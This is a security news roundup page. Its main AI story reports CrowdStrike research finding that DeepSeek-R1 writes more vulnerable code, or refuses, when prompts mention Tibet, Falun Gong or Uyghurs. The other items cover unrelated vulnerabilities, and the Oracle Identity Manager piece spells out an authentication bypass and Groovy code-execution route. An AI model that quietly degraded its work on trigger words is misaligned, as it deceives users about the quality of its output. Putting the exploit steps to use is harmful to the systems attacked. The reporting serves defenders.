A new era of web-delivered malware has arrived with EtherHiding, a technique that fundamentally reshapes how attackers distribute and rotate malicious payloads. Unlike traditional threats that rely on static staging servers or disposable redirect chains, EtherHiding leverages smart contracts on the Binance Smart Chain (BSC) testnet, enabling attackers to update or rotate malicious payloads instantly […]
A concerning vulnerability in DeepSeek-R1, a Chinese-developed artificial intelligence coding assistant. When the AI model encounters politically sensitive topics related to the Chinese Communist Party, it produces code with severe security flaws at rates up to 50% higher than usual.
Released in January 2025 by Chinese AI startup DeepSeek, the R1 model initially appeared comparable to Western competitors in coding quality.
However, CrowdStrike Counter Adversary Operations conducted extensive testing using 30,250 prompts per model, evaluating code across ten security categories.
Crowdstrike researchers inserted politically neutral contextual modifiers into system prompts before coding tasks, ensuring that the prompts would not affect code quality.
The baseline testing showed that DeepSeek-R1 produced vulnerable code in just 19% of cases without trigger words, demonstrating strong coding capabilities.
A more complex prompt designed to trigger negative behavior in DeepSeek-R1
This changed dramatically when researchers added references to topics the CCP considers sensitive.
When prompted to write code for systems “based in Tibet,” DeepSeek-R1’s vulnerability rate jumped to 27.2% nearly 50% higher than baseline. Similar increases were observed in mentions of Falun Gong and Uyghurs.
These contextual modifiers were totally irrelevant to the actual coding tasks, meaning they should not have affected output quality under normal circumstances.
Political Triggers Compromise Code Security
In one demonstration, CrowdStrike researchers requested PayPal integration code for a Tibetan financial institution. Without the geographic modifier, DeepSeek-R1 produced secure, production-ready code.
Given the mention of “Tibet,” the output contained hard-coded secrets, insecure data-extraction methods, and invalid PHP syntax. Yet, the model insisted its implementation followed “PayPal’s best practices.”
Crowdstrike Researchers discovered an “intrinsic kill switch” within DeepSeek-R1’s architecture.
In 45% of cases involving Falun Gong, the model refused to generate code entirely, despite producing detailed reasoning and implementation plans internally.
This behavior is embedded in the model weights themselves, not in external API restrictions.
Chinese law requires AI services to “adhere to core socialist values” and to avoid content that threatens national security.
CrowdStrike suggests DeepSeek’s training pipeline incorporated these requirements, potentially causing the model to associate sensitive keywords with negative characteristics.
An example of misalignment where the AI behaves in unexpected ways due to its training goals.
Screenshots of the “Uyghurs Unchained” web app created by DeepSeek-R1
With approximately 90% of developers using AI coding assistants by 2025, systemic security issues in these tools present both high-impact and high-prevalence risks.
The findings contrast with previous DeepSeek research, which focused on traditional jailbreaks rather than on subtle degradation in coding quality.
CrowdStrike emphasizes that companies deploying AI coding assistants must conduct thorough testing within their specific environments rather than relying solely on generic benchmarks.
The research highlights a new vulnerability surface requiring deeper investigation across all large language models, not just Chinese-developed systems.
A recently patched security flaw in Microsoft Windows Server Update Services (WSUS) has been exploited by threat actors to distribute malware known as ShadowPad.
“The attacker targeted Windows Servers with WSUS enabled, exploiting CVE-2025-59287 for initial access,” AhnLab Security Intelligence Center (ASEC) said in a report published last week. “They then used PowerCat, an open-source
A sophisticated new variant of the North Korean-linked Contagious Interview campaign has emerged, featuring an unprecedented level of polish and technical sophistication designed to compromise job-seeking AI developers, software engineers, and cryptocurrency professionals. Unlike typical DPRK IT worker infiltration schemes, this operation targets real individuals through an elaborate fake recruitment platform that mimics legitimate hiring […]
High command injection vulnerabilities have been discovered in Tenda’s N300 Wi-Fi 4G LTE Router and the 4G03 Pro model, allowing authenticated attackers to execute arbitrary commands with root privileges on affected devices. With no patches currently available from the manufacturer, security experts are urging users to consider alternative solutions to protect their networks from potential […]
Advanced persistent threat actors continue to develop sophisticated techniques for compromising corporate communications, with the ToddyCat APT group demonstrating remarkable evolution in their operational capabilities. Recent research from Kaspersky reveals how this highly organized espionage group has refined methods for covertly accessing internal employee communications at target organizations throughout the second half of 2024 and […]
A high security vulnerability has been discovered in vLLM, a widely used high-throughput inference and serving engine for Large Language Models. The flaw, identified as CVE-2025-62164, enables attackers to execute arbitrary code remotely through maliciously crafted payloads sent to the Completions API endpoint. Attribute Details CVE ID CVE-2025-62164 Severity High CVSS Score 8.8/10 Affected Product vLLM […]
K7 Labs researchers have identified a sophisticated Python-based malware sample employing multi-stage obfuscation and process injection techniques to achieve stealthy persistence on Windows systems. The malware reconstructs a 65 MB blob, with the bulk consisting of filler content, and only a small, valid, marshalled .pyc segment at the end containing the actual malicious code. This […]
The Wireshark Foundation has rolled out a crucial security update for its widely used network protocol analyzer, addressing multiple vulnerabilities that could lead to denial-of-service conditions.
The latest release, version 4.6.1, specifically targets flaws discovered in the Bundle Protocol version 7 (BPv7) and Kafka dissectors. These vulnerabilities, if left unpatched, allow attackers to forcibly crash the application by injecting malicious data into a network stream or a trace file.
Dissector Crashes Expose Users to Denial of Service
The core of the recent security advisory focuses on how Wireshark parses specific network protocols. Security researchers identified a significant flaw in the BPv7 dissector, tracked as wnpa-sec-2025-05, which affects version 4.6.0.
A similar vulnerability was discovered in the Kafka dissector, designated wnpa-sec-2025-06, impacting version 4.6.0 as well as 4.4.x branch ranging from 4.4.0 to 4.4.10.
Advisory ID
Component
Vulnerability Type
Impact
Affected Versions
Fixed Version
wnpa-sec-2025-05
BPv7 Dissector
NULL Pointer Dereference / Crash
Denial of Service (DoS)
4.6.0
4.6.1
wnpa-sec-2025-06
Kafka Dissector
Memory Corruption / Crash
Denial of Service (DoS)
4.6.0, 4.4.0 – 4.4.10
4.6.1, 4.4.11
In both scenarios, the mechanism for exploitation involves the injection of a malformed packet. Attackers can trigger these crashes either by transmitting a specially crafted packet onto a live network interface that Wireshark is monitoring or by convincing a target analyst to open a compromised packet trace file.
While the Wireshark team discovered these issues during internal testing and is currently unaware of active exploitation in the wild, the potential for disruption remains high for security operations centers (SOCs) and network administrators who rely on the tool for continuous monitoring.
Beyond the primary security patches, the maintenance release resolves a variety of stability issues that hindered protocol analysis. Significant corrections were applied to the L2CAP dissector, which previously failed to correctly interpret retransmission modes, and the DNS HIP dissector, which erroneously labeled PK algorithms as HIT lengths.
The development team also addressed a crash in TShark triggered by Lua plugins and resolved a specific issue where the application would stall when selecting messages.
Further improvements include fixes for the TCP dissector, creating invalid packet diagrams, and corrections for LZ4-compressed output file write failures. Users working with complex network environments will benefit from the resolved conflict between endian.h and libc during plugin builds.
The update also ensures that UDP Port 853 is correctly decoded as QUIC (DoQ) and restores functionality for Omnipeek files that were previously incompatible with version 4.6.0.
Issue ID
Component
Description
Issue 2241
L2CAP Dissector
Corrected logic; the dissector now properly understands retransmission mode.
Issue 20768
DNS HIP Dissector
Fixed a labeling error where the PK algorithm was incorrectly identified as HIT length.
Addressed a failure when writing to an LZ4-compressed output file.
Issue 20786
Plugins
Fixed a conflict betweenendian.handlibcwhen building plugins.
Issue 20794
TShark
Resolved a crash caused by Lua plugins.
Issue 20797
UI Performance
Fixed an issue where Wireshark stalled for several seconds when selecting specific messages.
Issue 20802
TLS Dissector
Corrected handling of TLS Abbreviated Handshakes using New Session Tickets.
Issue 20803
WebSocket
Fixed a bug where custom WebSocket dissectors failed to run.
Issue 20813
DCERPC Dissector
Resolved a dissector bug inpacket-dcerpc.ctriggered byWINREG QueryValue.
Issue 20817
Lua API
Fixed a crash inFileHandlerwhen reading packets.
Issue 20818
Filter Engine
FixedApply As FilterforFT_NONE/BASE_NONEfields (single byte) to correctly use hex values.
Issue 20819
UI Layout
Resolved a problem in “Pane 3” preference layout when selecting “Packet Diagram” or “None”.
Issue 20820
TCP Dissector
Fixed the creation of invalid packet diagrams.
Issue 20831
File Format
Fixed an issue with too many nested VLAN tags when opening as File Format.
Issue 20842
File Support
Restored support for Omnipeek files, which was broken in version 4.6.0.
Issue 20845
IsoBus Dissector
Added support for UTF-16 strings in string operations.
Issue 20849
SNMP Dissector
Corrected filtering forgetBulkRequestrequest-IDs.
Issue 20852
Fuzz Testing
Addressed a specific fuzz job issue (fuzz-2025-11-12-12064814316.pcap).
Issue 20856
QUIC/DoQ
Ensure UDP Port 853 (DoQ) is correctly decoded as QUIC.
Network administrators and security analysts should prioritize upgrading to Wireshark 4.6.1 or 4.4.11 immediately. The update is available for download directly from the Wireshark Foundation’s website or through respective package managers for Linux and Unix distributions.
The Cybersecurity and Infrastructure Security Agency (CISA) is urging organizations to immediately address a critical security flaw in Oracle Identity Manager following reports of active exploitation.
The vulnerability, tracked as CVE-2025-61757, allows unauthenticated remote attackers to execute arbitrary code on affected systems, posing a severe threat to enterprise and government networks.
This warning comes in the wake of a massive breach earlier this year involving Oracle Cloud’s own login service, which exposed over six million records.
Security researchers at Searchlight Cyber identified this vulnerability while analyzing the attack surface of Oracle Cloud’s login host. The investigation revealed that the same software stack compromised in January, specifically the Oracle Identity Governance Suite, contained a severe pre-authentication Remote Code Execution (RCE) flaw.
This discovery highlighted a critical oversight in how the application handled authentication filters, leaving hundreds of tenants vulnerable to complete compromise without requiring any valid credentials.
The vulnerability resides within the application’s SecurityFilter mechanism found in the web.xml configuration. This filter was designed to manage authentication checks but relied on a flawed regular expression whitelist.
Developers intended to allow unauthenticated access to Web Application Description Language (WADL) files, but the implementation failed to account for how Java interprets request Uniform Resource Identifiers (URIs).
Attackers can bypass authentication entirely by appending specific matrix parameters to the URL. The research team demonstrated that adding ;.wadl to a request URI tricks the server into treating the request as a harmless WADL retrieval while the underlying Java servlet processes it as a valid API call.
This logical discrepancy grants attackers unrestricted access to restricted REST endpoints, such as /iam/governance/applicationmanagement.
Once authentication is bypassed, threat actors can leverage the groovyscriptstatus endpoint to achieve code execution. Although this endpoint is intended only to syntax-check Groovy scripts without running them, it does perform compilation.
By injecting a script containing the @ASTTest annotation, attackers can force the Java compiler to execute arbitrary code during the compilation phase. This technique effectively turns a syntax checker into a fully functional remote shell, granting control over the host system.
This vulnerability is particularly dangerous because it requires no prior access or credentials. The combination of a trivial authentication bypass and a reliable method for code execution makes it an attractive target for ransomware groups and state-sponsored actors.
Organizations running Oracle Identity Governance Suite 12c are advised to apply the relevant patches immediately or isolate the affected services from the public internet.
